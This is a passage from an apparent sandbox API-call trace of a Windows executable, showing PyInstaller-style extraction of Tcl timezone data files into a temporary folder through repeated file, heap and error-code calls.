(HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.328] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0042.328] htonl (hostlong=0x911e0000) returned 0x1e91 [0042.328] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1e91) returned 0x561090 [0042.329] htonl (hostlong=0x74060000) returned 0x674 [0042.329] htonl (hostlong=0x911e0000) returned 0x1e91 [0042.329] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562f30 [0042.329] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562f30 | out: hHeap=0x530000) returned 1 [0042.329] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0042.329] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.329] CloseHandle (hObject=0x10c) returned 1 [0042.329] GetLastError () returned 0x0 [0042.329] SetLastError (dwErrCode=0x0) [0042.329] GetLastError () returned 0x0 [0042.329] SetLastError (dwErrCode=0x0) [0042.329] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0042.329] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.329] GetFileType (hFile=0x10c) returned 0x1 [0042.329] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.329] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.329] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.329] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.329] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.329] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.329] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.329] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.329] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.329] CloseHandle (hObject=0x10c) returned 1 [0042.330] GetLastError () returned 0x0 [0042.330] SetLastError (dwErrCode=0x0) [0042.330] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0042.330] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.330] GetFileType (hFile=0x10c) returned 0x1 [0042.330] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.330] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.330] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.330] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.330] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.330] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.330] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.330] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.330] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.330] CloseHandle (hObject=0x10c) returned 1 [0042.330] GetLastError () returned 0x0 [0042.330] SetLastError (dwErrCode=0x0) [0042.330] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe") returned 63 [0042.330] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.330] GetFileType (hFile=0x10c) returned 0x1 [0042.330] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.330] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.330] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.330] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.330] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.330] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.331] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.331] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.331] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.331] CloseHandle (hObject=0x10c) returned 1 [0042.331] GetLastError () returned 0x0 [0042.331] SetLastError (dwErrCode=0x0) [0042.331] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Chisinau") returned 72 [0042.331] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Chisinau" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe\\chisinau"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0042.331] GetLastError () returned 0x2 [0042.331] SetLastError (dwErrCode=0x2) [0042.331] GetLastError () returned 0x2 [0042.331] SetLastError (dwErrCode=0x2) [0042.331] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Chisinau", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Chisinau", lpFilePart=0x0) returned 0x47 [0042.331] GetLastError () returned 0x2 [0042.331] SetLastError (dwErrCode=0x2) [0042.331] GetLastError () returned 0x2 [0042.331] SetLastError (dwErrCode=0x2) [0042.331] GetLastError () returned 0x2 [0042.331] SetLastError (dwErrCode=0x2) [0042.331] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Chisinau") returned 72 [0042.331] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0042.331] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Chisinau" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe\\chisinau"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.331] GetFileType (hFile=0x10c) returned 0x1 [0042.332] htonl (hostlong=0x911e0000) returned 0x1e91 [0042.332] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0042.333] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.333] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xe91, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xe91, lpOverlapped=0x0) returned 1 [0042.333] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.333] CloseHandle (hObject=0x10c) returned 1 [0042.333] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0042.333] htonl (hostlong=0x30000000) returned 0x30 [0042.333] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0042.333] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0042.333] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.333] GetFileType (hFile=0x10c) returned 0x1 [0042.333] htonl (hostlong=0x80ff5b00) returned 0x5bff80 [0042.333] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x60af80, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0042.333] htonl (hostlong=0x22060000) returned 0x622 [0042.333] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x622) returned 0x550600 [0042.333] htonl (hostlong=0x22060000) returned 0x622 [0042.333] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.333] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0042.333] htonl (hostlong=0x221d0000) returned 0x1d22 [0042.333] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1d22) returned 0x561090 [0042.334] htonl (hostlong=0x22060000) returned 0x622 [0042.334] htonl (hostlong=0x221d0000) returned 0x1d22 [0042.334] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562dc0 [0042.334] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562dc0 | out: hHeap=0x530000) returned 1 [0042.334] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0042.334] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.334] CloseHandle (hObject=0x10c) returned 1 [0042.334] GetLastError () returned 0x0 [0042.334] SetLastError (dwErrCode=0x0) [0042.334] GetLastError () returned 0x0 [0042.334] SetLastError (dwErrCode=0x0) [0042.334] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0042.334] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.334] GetFileType (hFile=0x10c) returned 0x1 [0042.334] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.334] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.334] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.334] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.334] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.334] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.334] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.334] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.334] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.334] CloseHandle (hObject=0x10c) returned 1 [0042.334] GetLastError () returned 0x0 [0042.334] SetLastError (dwErrCode=0x0) [0042.334] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0042.335] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.335] GetFileType (hFile=0x10c) returned 0x1 [0042.335] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.335] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.335] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.335] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.335] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.335] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.335] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.335] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.335] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.335] CloseHandle (hObject=0x10c) returned 1 [0042.335] GetLastError () returned 0x0 [0042.335] SetLastError (dwErrCode=0x0) [0042.335] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe") returned 63 [0042.335] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.335] GetFileType (hFile=0x10c) returned 0x1 [0042.335] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.335] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.335] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.335] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.335] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.335] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.335] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.335] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.336] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.336] CloseHandle (hObject=0x10c) returned 1 [0042.336] GetLastError () returned 0x0 [0042.336] SetLastError (dwErrCode=0x0) [0042.336] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Copenhagen") returned 74 [0042.336] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Copenhagen" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe\\copenhagen"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0042.336] GetLastError () returned 0x2 [0042.336] SetLastError (dwErrCode=0x2) [0042.336] GetLastError () returned 0x2 [0042.336] SetLastError (dwErrCode=0x2) [0042.336] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Copenhagen", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Copenhagen", lpFilePart=0x0) returned 0x49 [0042.336] GetLastError () returned 0x2 [0042.336] SetLastError (dwErrCode=0x2) [0042.336] GetLastError () returned 0x2 [0042.336] SetLastError (dwErrCode=0x2) [0042.336] GetLastError () returned 0x2 [0042.336] SetLastError (dwErrCode=0x2) [0042.336] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Copenhagen") returned 74 [0042.336] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0042.336] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Copenhagen" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe\\copenhagen"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.352] GetFileType (hFile=0x10c) returned 0x1 [0042.352] htonl (hostlong=0x221d0000) returned 0x1d22 [0042.352] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0042.353] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.353] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xd22, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xd22, lpOverlapped=0x0) returned 1 [0042.353] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.353] CloseHandle (hObject=0x10c) returned 1 [0042.353] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0042.353] htonl (hostlong=0x30000000) returned 0x30 [0042.353] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0042.353] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0042.353] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.353] GetFileType (hFile=0x10c) returned 0x1 [0042.353] htonl (hostlong=0xa2055c00) returned 0x5c05a2 [0042.353] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x60b5a2, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0042.353] htonl (hostlong=0x1e080000) returned 0x81e [0042.353] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x81e) returned 0x55e278 [0042.353] htonl (hostlong=0x1e080000) returned 0x81e [0042.353] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.354] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0042.354] htonl (hostlong=0x4250000) returned 0x2504 [0042.354] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x2504) returned 0x561090 [0042.354] htonl (hostlong=0x1e080000) returned 0x81e [0042.354] htonl (hostlong=0x4250000) returned 0x2504 [0042.354] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x5635a0 [0042.354] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5635a0 | out: hHeap=0x530000) returned 1 [0042.354] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 